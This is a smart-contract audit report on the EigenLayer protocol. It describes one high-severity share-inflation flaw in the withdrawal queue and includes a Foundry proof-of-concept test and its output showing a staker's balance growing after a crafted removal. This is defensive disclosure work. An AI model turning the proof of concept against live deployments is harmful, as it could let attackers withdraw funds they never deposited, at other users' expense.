



Competition Submission

EigenLayer (DeFi)

Competition Scope

Description	EigenLayer Protocol Smart Contracts
Platform	Ethereum / Solidity
Audit Date	March, 2025
Audited GitHub Repo	https://github.com/Layr-Labs/eigenlayer-contracts
Audited GitHub Commit Hash	e5431a9bfaabfc857295a9501862e8932b59a6a1

Hashlock found:

1 High severity vulnerabilities

Audit Findings

High

[H-01] DelegationManager#queueWithdrawals - Share Inflation Vulnerability Through User-Controlled depositShares Parameter

Description

The `queueWithdrawals` function in the `DelegationManager` contract allows users to specify arbitrary `depositShares` values instead of fetching the actual deposited shares from the `EigenPodManager`. This design flaw enables attackers to manipulate the withdrawal queue system and inflate their share balance to extremely large values through integer underflow exploitation.

Vulnerability Details

The vulnerability exists in the withdrawal queuing mechanism, where user-provided parameters are trusted without validation against the actual deposited amounts:

```
withdrawalRoots[i] = _removeSharesAndQueueWithdrawal({  
    staker: msg.sender,  
    operator: operator,  
    strategies: params[i].strategies,  
    depositShares: params[i].depositShares, // User-controlled parameter  
    slashingFactors: slashingFactors  
});
```

The critical issue occurs in the `EigenPodManager`'s share removal logic:

```
int256 updatedShares = podOwnerDepositShares[staker] - int256(depositSharesToRemove);  
require(updatedShares >= 0, SharesNegative());  
podOwnerDepositShares[staker] = updatedShares;
```

When an attacker specifies `depositSharesToRemove` as a value close to `type(uint256).max`, the subtraction operation causes an integer underflow. Since the result is cast to `int256`, the underflow wraps around to create an extremely large positive value that passes the `updatedShares >= 0` validation.

Proof of Concept

The following test demonstrates the vulnerability:

```
function test_inflatedShares() public {

    int sharesToStart = 32e18;

    int sharesToAdd = 100e18;

    _initializePodWithShares(defaultStaker, sharesToStart);

    cheats.prank(address(eigenPodManager.delegationManager()));

    (uint prevDepositShares, uint addedShares) = eigenPodManager.addShares(

        defaultStaker,

        beaconChainETHStrategy,

        uint(sharesToAdd)

    );

    cheats.prank(address(eigenPodManager.delegationManager()));

    uint sharesToRemove = type(uint256).max - 15e18;

    eigenPodManager.removeDepositShares(

        defaultStaker,

        beaconChainETHStrategy,

        sharesToRemove

    );

    console.log(eigenPodManager.stakerDepositShares(defaultStaker,
beaconChainETHStrategy));

}
```

```
Test Output = Logs:1470000000000000000001
```

The test shows that by specifying a withdrawal amount of `type(uint256).max - 15e18`, the attacker's share balance becomes approximately `147e18` instead of being reduced, demonstrating the integer underflow exploitation.

Impact

This vulnerability allows attackers to:

- Inflate their share balance to arbitrarily large amounts
- Potentially withdraw more assets than they deposited
- Compromising the integrity of the withdrawal queue system
- Create accounting discrepancies that could affect other users' withdrawals
- Potentially drain protocol funds through manipulated share calculations

Recommendation

Replace the user-provided `depositShares` parameter with values fetched directly from the strategy manager. Additionally, implement proper validation to ensure withdrawal amounts do not exceed the actual deposited shares.

Our Methodology

Hashlock strives to maintain a transparent working process and to make our audits a collaborative effort. The objective of our security audits is to improve the quality of systems and upcoming projects we review and to aim for sufficient remediation to help protect users and project leaders. Below is the methodology we use in our security audit process.

Manual Code Review:

In manually analysing all of the code, we seek to find any potential issues with code logic, error handling, protocol and header parsing, cryptographic errors, and random number generators. We also watch for areas where more defensive programming could reduce the risk of future mistakes and speed up future audits. Although our primary focus is on the in-scope code, we examine dependency code and behaviour when it is relevant to a particular line of investigation.

Vulnerability Analysis:

Our methodologies include manual code analysis, user interface interaction, and white box penetration testing. We consider the project's website, specifications, and whitepaper (if available) to attain a high-level understanding of what functionality the smart contract under review contains. We then communicate with the developers and founders to gain insight into their vision for the project. We install and deploy the relevant software, exploring the user interactions and roles. While we do this, we brainstorm threat models and attack surfaces. We read design documentation, review other audit results, search for similar projects, examine source code dependencies, skim open issue tickets, and generally investigate details other than the implementation.

Documenting Results:

We undergo a robust, transparent process for analysing potential security vulnerabilities and seeing them through to successful remediation. When a potential issue is discovered, we immediately create an issue entry for it in this document, even though we have not yet verified the feasibility and impact of the issue. This process is vast because we document our suspicions early even if they are later shown to not represent exploitable vulnerabilities. We generally follow a process of first documenting the suspicion with unresolved questions, and then confirming the issue through code analysis, live experimentation, or automated tests. Code analysis is the most tentative, and we strive to provide test code, log captures, or screenshots demonstrating our confirmation. After this, we analyse the feasibility of an attack in a live system.

Suggested Solutions:

We search for immediate mitigations that live deployments can take and finally, we suggest the requirements for remediation engineering for future releases. The mitigation and remediation recommendations should be scrutinised by the developers and deployment engineers, and successful mitigation and remediation is an ongoing collaborative process after we deliver our report, and before the contract details are made public.

About Hashlock

Hashlock is an Australian-based company aiming to help facilitate the successful widespread adoption of distributed ledger technology. Our key services all have a focus on security, as well as projects that focus on streamlined adoption in the business sector.

Hashlock is excited to continue to grow its partnerships with developers and other web3-oriented companies to collaborate on secure innovation, helping businesses and decentralised entities alike.

Website: hashlock.com.au

Contact: info@hashlock.com.au





#hashlock.